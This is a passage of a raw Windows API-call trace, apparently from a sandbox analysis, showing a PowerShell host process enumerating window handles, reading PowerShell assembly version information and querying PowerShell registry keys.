GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8e0 [0022.957] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8d0 [0022.957] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8bc [0022.957] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8ac [0022.957] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x89c [0022.957] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x88c [0022.957] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x87c [0022.958] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x86c [0022.958] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x854 [0022.958] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x844 [0022.958] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x834 [0022.958] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x824 [0022.958] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x814 [0022.958] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x804 [0022.958] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x20c [0022.958] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x214 [0022.958] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x33c [0022.958] GetWindowThreadProcessId (in: hWnd=0x60104, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x1f4 [0022.958] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x424 [0022.958] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x45c [0022.958] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x42c [0022.958] GetWindowThreadProcessId (in: hWnd=0x2013c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x45c [0022.958] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x42c [0022.959] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x45c [0022.959] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x424 [0022.959] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x424 [0022.959] GetWindowThreadProcessId (in: hWnd=0x200c6, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x200b6, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x200ba, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x200c2, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x300d0, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x700a8, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x7f8 [0022.959] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x700 [0022.959] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x730 [0022.959] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.959] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x6f8 [0022.959] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x6c0 [0022.959] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x604 [0022.960] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5e8 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.960] GetWindowThreadProcessId (in: hWnd=0x20044, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.960] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x50c [0022.960] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x564 [0022.960] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x524 [0022.960] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x31c [0022.960] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5d0 [0022.960] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.960] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x9d8 [0022.960] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0xae8 [0022.961] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x94c [0022.961] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x93c [0022.961] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x92c [0022.961] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x91c [0022.961] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x900 [0022.961] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8f0 [0022.961] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8e0 [0022.961] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8d0 [0022.961] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8bc [0022.961] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x8ac [0022.961] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x89c [0022.961] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x88c [0022.961] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x87c [0022.961] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x86c [0022.961] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x854 [0022.961] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x844 [0022.961] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x834 [0022.962] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x824 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x814 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x804 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x20c [0022.962] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x214 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x33c [0022.962] GetWindowThreadProcessId (in: hWnd=0x30110, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x1f4 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x42c [0022.962] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x45c [0022.962] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x424 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x7f8 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x700 [0022.962] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x604 [0022.962] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x5e8 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10046, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x588 [0022.962] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x50c [0022.963] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0xcd680 | out: lpdwProcessId=0xcd680) returned 0x524 [0022.968] WerSetFlags () returned 0x0 [0022.978] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0022.978] CoTaskMemFree (pv=0x0) [0022.979] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xcd9e8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xcd9e0 | out: pulNumLanguages=0xcd9e8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xcd9e0) returned 1 [0022.979] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xcd9e8, pwszLanguagesBuffer=0x2bb9730, pcchLanguagesBuffer=0xcd9e0 | out: pulNumLanguages=0xcd9e8, pwszLanguagesBuffer=0x2bb9730, pcchLanguagesBuffer=0xcd9e0) returned 1 [0022.985] CoTaskMemAlloc (cb=0x24) returned 0x307510 [0022.985] GetUserDefaultLocaleName (in: lpLocaleName=0x307510, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0022.985] CoTaskMemFree (pv=0x307510) [0023.005] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0023.005] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.005] CoTaskMemFree (pv=0x25ae70) [0023.008] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0023.008] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.008] CoTaskMemFree (pv=0x25ae70) [0023.010] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0023.010] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.010] CoTaskMemFree (pv=0x25ae70) [0023.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.020] SetErrorMode (uMode=0x1) returned 0x1 [0023.020] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xcd660 | out: lpFileInformation=0xcd660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0023.020] SetErrorMode (uMode=0x1) returned 0x1 [0023.020] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xcd8d0 | out: lpdwHandle=0xcd8d0) returned 0x94c [0023.021] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2bbcfc0 | out: lpData=0x2bbcfc0) returned 1 [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcd848, puLen=0xcd840 | out: lplpBuffer=0xcd848*=0x2bbd05c, puLen=0xcd840) returned 1 [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd138, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="Microsoft Corporation") returned 21 [0023.022] CoTaskMemAlloc (cb=0x2e) returned 0x312740 [0023.022] lstrcpyW (in: lpString1=0x312740, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0023.022] CoTaskMemFree (pv=0x312740) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd18c, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="System.Management.Automation") returned 28 [0023.022] CoTaskMemAlloc (cb=0x3c) returned 0x309870 [0023.022] lstrcpyW (in: lpString1=0x309870, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0023.022] CoTaskMemFree (pv=0x309870) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd1e8, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="6.1.7601.17514") returned 14 [0023.022] CoTaskMemAlloc (cb=0x20) returned 0x30d220 [0023.022] lstrcpyW (in: lpString1=0x30d220, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0023.022] CoTaskMemFree (pv=0x30d220) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd228, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0023.022] CoTaskMemAlloc (cb=0x44) returned 0x309870 [0023.022] lstrcpyW (in: lpString1=0x309870, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0023.022] CoTaskMemFree (pv=0x309870) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd290, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0023.022] CoTaskMemAlloc (cb=0x76) returned 0x2a15a0 [0023.022] lstrcpyW (in: lpString1=0x2a15a0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0023.022] CoTaskMemFree (pv=0x2a15a0) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd32c, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0023.022] CoTaskMemAlloc (cb=0x44) returned 0x309870 [0023.022] lstrcpyW (in: lpString1=0x309870, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0023.022] CoTaskMemFree (pv=0x309870) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd390, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0023.022] CoTaskMemAlloc (cb=0x58) returned 0x25fed0 [0023.022] lstrcpyW (in: lpString1=0x25fed0, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0023.022] CoTaskMemFree (pv=0x25fed0) [0023.022] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd40c, puLen=0xcd7b0) returned 1 [0023.022] lstrlenW (lpString="6.1.7601.17514") returned 14 [0023.022] CoTaskMemAlloc (cb=0x20) returned 0x30d220 [0023.022] lstrcpyW (in: lpString1=0x30d220, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0023.022] CoTaskMemFree (pv=0x30d220) [0023.023] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x2bbd0b4, puLen=0xcd7b0) returned 1 [0023.023] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0023.023] CoTaskMemAlloc (cb=0x66) returned 0x303e20 [0023.023] lstrcpyW (in: lpString1=0x303e20, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0023.023] CoTaskMemFree (pv=0x303e20) [0023.023] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x0, puLen=0xcd7b0) returned 0 [0023.023] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x0, puLen=0xcd7b0) returned 0 [0023.023] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xcd7b8, puLen=0xcd7b0 | out: lplpBuffer=0xcd7b8*=0x0, puLen=0xcd7b0) returned 0 [0023.023] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcd788, puLen=0xcd780 | out: lplpBuffer=0xcd788*=0x2bbd05c, puLen=0xcd780) returned 1 [0023.023] CoTaskMemAlloc (cb=0x204) returned 0x2a4120 [0023.023] VerLanguageNameW (in: wLang=0x0, szLang=0x2a4120, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0023.023] CoTaskMemFree (pv=0x2a4120) [0023.023] VerQueryValueW (in: pBlock=0x2bbcfc0, lpSubBlock="\\", lplpBuffer=0xcd7d8, puLen=0xcd7d0 | out: lplpBuffer=0xcd7d8*=0x2bbcfe8, puLen=0xcd7d0) returned 1 [0023.028] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0023.028] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.028] CoTaskMemFree (pv=0x25ae70) [0023.033] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0023.033] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.033] CoTaskMemFree (pv=0x25ae70) [0023.035] lstrlenW (lpString="䅁") returned 1 [0023.044] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd6a8 | out: phkResult=0xcd6a8*=0x304) returned 0x0 [0023.045] RegOpenKeyExW (in: hKey=0x304, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd698 | out: phkResult=0xcd698*=0x308) returned 0x0 [0023.045] RegOpenKeyExW (in: hKey=0x308, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd728 | out: phkResult=0xcd728*=0x30c) returned 0x0 [0023.048] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd66c, lpData=0x0, lpcbData=0xcd668*=0x0 | out: lpType=0xcd66c*=0x1, lpData=0x0, lpcbData=0xcd668*=0x56) returned 0x0 [0023.048] CoTaskMemAlloc (cb=0x5a) returned 0x303db0 [0023.048] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd63c, lpData=0x303db0, lpcbData=0xcd638*=0x56 | out: lpType=0xcd63c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcd638*=0x56) returned 0x0 [0023.049] CoTaskMemFree (pv=0x303db0) [0023.054] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.056] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xcd1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0023.075] CoTaskMemAlloc (cb=0x104) returned 0x25ae70 [0023.075] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25ae70, nSize=0x80 | out: lpBuffer="") returned 0x0 [0023.075] CoTaskMemFree (pv=0x25ae70) [0023.218] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0023.218] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0xcd260, lpFilePart=0x0 | out: 